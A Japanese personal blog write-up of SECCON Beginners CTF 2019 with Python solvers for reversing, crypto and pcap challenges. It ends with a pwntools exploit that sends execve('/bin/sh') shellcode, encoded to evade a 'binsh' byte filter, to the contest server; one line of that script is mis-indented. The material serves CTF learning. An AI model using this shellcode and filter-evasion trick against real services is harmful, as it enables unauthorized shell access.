fr33f0r4ll

自分用雑記

SECCON Beginners CTF 2019 Writeup

SECCON Beginners CTF 2019 Writeup

忙しくてCTFしてなかったので復帰戦、全然駄目になっていた。
解けたのは

  • Rev
    • Seccompare
    • Leakage
    • Linear Operation
  • Crypto
    • So Tired
    • Party
  • Misc
    • containers
    • Dump

だけ、1日目から8時間くらいやってあとはあきてしまった。 pwnが解けてないのほんと駄目。

以下Writeup。

[Rev] Seccompare

単純にstrcmpでフラグと比較しているので簡単に解けた。 ltraceを使ったけどstringsとか静的解析でもすぐ分かると思う。

[Rev] Leakage

解析してみると内部で難読化したフラグを一文字ずつ復号して比較する処理をしていた。 デバッガを使って文字の比較を誤魔化してやれば一文字ずつフラグが復号される。 それか一文字ずつ特定して一文字ずつ入力を合わせていってもいい、手間はあまり変わらない。

[Rev] Linear Operation

入力した文字列を、かなり面倒くさそうな変換処理で変換して比較している。 angrを使った、こういうときに便利。使い方がまったく分からないから勉強しないと...

コードは以下。

import angr

p = angr.Project('./linear_operation')
state = p.factory.entry_state()
simgr = p.factory.simulation_manager(state)

trg_addr = 0x0040cf78
avoid_addr = [0x0040cf86, 0x0040cbb0, 0x0040cbb6, 0x0040cbbc, 0x0040cbc2, 0x0040cbc8, 0x0040cbce, 0x0040cbd4, 0x0040cbda, 0x0040cbe0, 0x0040cbe6, 0x0040cbec, 0x0040cbf2, 0x0040cbf8, 0x0040cbfe, 0x0040cc04, 0x0040cc0a, 0x0040cc10, 0x0040cc16, 0x0040cc1c, 0x40cc22, 0x40cc28, 0x40cc2e, 0x40cc34, 0x40cc3a, 0x40cc40, 0x40cc46, 0x40cc4c, 0x40cc52, 0x40cc58, 0x40cc5e, 0x40cc64, 0x40cc6a, 0x40cc70, 0x40cc76, 0x40cc7c, 0x40cc82, 0x40cc88, 0x40cc8e, 0x40cc94, 0x40cc9a, 0x40cca0, 0x40cca6, 0x40ccac, 0x40ccb2, 0x40ccb8, 0x40ccbe, 0x40ccc4, 0x40ccca, 0x40ccd0, 0x40ccd6, 0x40ccdc, 0x40cce2, 0x40cce8, 0x40ccee, 0x40ccf4, 0x40ccfa, 0x40cd00, 0x40cd06, 0x40cd0c, 0x40cd12, 0x40cd18, 0x40cd1e, 0x40cd24]

simgr.explore(find=trg_addr, avoid=avoid_addr)
state = simgr.found[0]
print(state.posix.dumps(0))

大量にある外れの分岐を探すのが一番面倒くさかった。

TODO: Radare2のマウスクリックでランダムな機能が実行される不具合の原因を特定する。

[Crypto] So Tired

zlibとbase64を繰り返し適用してるだけ、最初base64じゃないと思って無駄に時間を使った。 Pythonで解いた。

import base64
import zlib

base64_txt = ''
with open('encrypted.txt') as f:
    base64_txt = f.read()

try:
    while True:
        base64_txt = zlib.decompress(base64.b64decode(base64_txt))
except Exception as e:
    print(base64_txt)

[Crypto] Party

暗号化処理をしているコードを見ると、秘密情報であるcoeffの3つの値を変数とした連立方程式が作れることが分かる。

party = [p1, p2, p3], coeff = [c1, c2, c3], val = [v1, v2, v3]とした場合、暗号化処理は次のようになる。

v1 = c1 + c2 * p1 + c3 * p1 * p1
v2 = c1 + c2 * p2 + c3 * p2 * p2
v3 = c1 + c2 * p3 + c3 * p3 * p3

val, partyは既知なので、c1, c2, c3に関する3つの一次方程式が存在することになるので、あとは解くだけである。
桁が大きすぎて計算が面倒なのでPythonにやらせた。sympy便利。

import sympy
from Crypto.Util.number import long_to_bytes

[(x1, y1), (x2, y2) , (x3, y3)] = [(5100090496682565208825623434336918311864447624450952089752237720911276820495717484390023008022927770468262348522176083674815520433075299744011857887705787, 222638290427721156440609599834544835128160823091076225790070665084076715023297095195684276322931921148857141465170916344422315100980924624012693522150607074944043048564215929798729234427365374901697953272928546220688006218875942373216634654077464666167179276898397564097622636986101121187280281132230947805911792158826522348799847505076755936308255744454313483999276893076685632006604872057110505842966189961880510223366337320981324768295629831215770023881406933), (3084167692493508694370768656017593556897608397019882419874114526720613431299295063010916541874875224502547262257703456540809557381959085686435851695644473, 81417930808196073362113286771400172654343924897160732604367319504584434535742174505598230276807701733034198071146409460616109362911964089058325415946974601249986915787912876210507003930105868259455525880086344632637548921395439909280293255987594999511137797363950241518786018566983048842381134109258365351677883243296407495683472736151029476826049882308535335861496696382332499282956993259186298172080816198388461095039401628146034873832017491510944472269823075), (6308915880693983347537927034524726131444757600419531883747894372607630008404089949147423643207810234587371577335307857430456574490695233644960831655305379, 340685435384242111115333109687836854530859658515630412783515558593040637299676541210584027783029893125205091269452871160681117842281189602329407745329377925190556698633612278160369887385384944667644544397208574141409261779557109115742154052888418348808295172970976981851274238712282570481976858098814974211286989340942877781878912310809143844879640698027153722820609760752132963102408740130995110184113587954553302086618746425020532522148193032252721003579780125)]

c1 = sympy.Symbol('c1')
c2 = sympy.Symbol('c2')
c3 = sympy.Symbol('c3')

expr1 = c1 + c2 * x1 + c3* x1 * x1 - y1
expr2 = c1 + c2 * x2 + c3* x2 * x2 - y2
expr3 = c1 + c2 * x3 + c3* x3 * x3 - y3

flag_num = sympy.solve([expr1, expr2, expr3])[c1]

print(flag_num)
print(long_to_bytes(flag_num))

RSARSAを忘れたので解けませんでしたはい。

[Misc] containers

Welcomeは問題じゃないので飛ばす。 Dockerのコンテナか何かかと思ったけど、どうも違うらしいので適当に抽出した。 作者っぽい人のツイート見る限りではオリジナルらしい?

foremost使った。

16進数値のクソ長いフラグを画像ごとにバラして答えとするのは悪い例だと思いますが。
ある程度意味のある文字列にしないと無駄に入力ミスするし順番の勘違いもしやすいし、コピペできない形式なら非推奨だってCTFの手引きに書いてある。
大人しくctf4b{th1s_1s_th3_fl4g}みたいな形式にすれば良かったと思う、他の問題だとそういうフラグあったし。

[Misc] Dump

pcapファイル渡される、httpで通信してるっぽいので通信しているデータをwiresharkで取り出す。 webshellを使ってshで命令を実行、httpで結果を返信してるらしい。 命令を見てみるとflagをhexdumpで出力してるらしいので、単純にデコードする。 コードは以下。

dump_txt = ''

with open('hexdump.txt', 'r') as f:
    dump_txt = f.read()

dump_line = [line for line in dump_txt.split('\n') if line != '']
dump_str = [ch for ch in ' '.join(dump_line).split(' ') if ch != '']
dump = [int(ch, 8) for ch in dump_str]

with open('recovery.bin', 'w') as f:
    f.write(''.join([chr(i) for i in dump]))

jpgらしいので画像として開いてフラグゲット。

[Pwn] shellcoder

終わったあとに解いた、送信したデータをそのまま実行するらしいのでシェルを起動するだけ。
だけなのだが"binsh"が含まれていると実行されないのと0x28バイトしか入力できない。
これらの制約を満すシェルコードを作る必要がある。 "binsh"については上位4bitと下位4bitを互い違いに加算するようにすれば誤魔化せる、長さは上手いこと調節したり。

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

context.update(arch='amd64')
exe = './shellcoder'

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
    return remote('153.120.129.186', 20000)
    else:
        return process([exe] + argv, *a, **kw)


# # gdb
# gdbscript = '''
# continue
# '''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

import time

io = start()

forbidden_chars = set('binsh')

shellcode = '''
    /* push '/bin///sh\x00' */
    xor rax, rax
    mov rdx, rax
    mov rsi, rax
    push rax
    mov al, SYS_execve /* 0x3b */
    
    mov rbx, 0x6070202060606020
    mov rcx, 0x08030f0f0e09020f
    add rbx, rcx
    push rbx
    
    push rsp
    pop rdi
    
    syscall
'''
payload = asm(shellcode)



if len(payload) > 0x28:
    print("Length over: {:x}".format(len(payload)))
    exit(1)

chrs = set(payload)
if len(chrs.intersection(forbidden_chars)) != 0:
    print(chrs.intersection(forbidden_chars))
    exit(1)

if args.DEBUG:
    time.sleep(3)

io.sendline(payload)

io.interactive()

久しぶり過ぎて色々忘れていて面倒だった。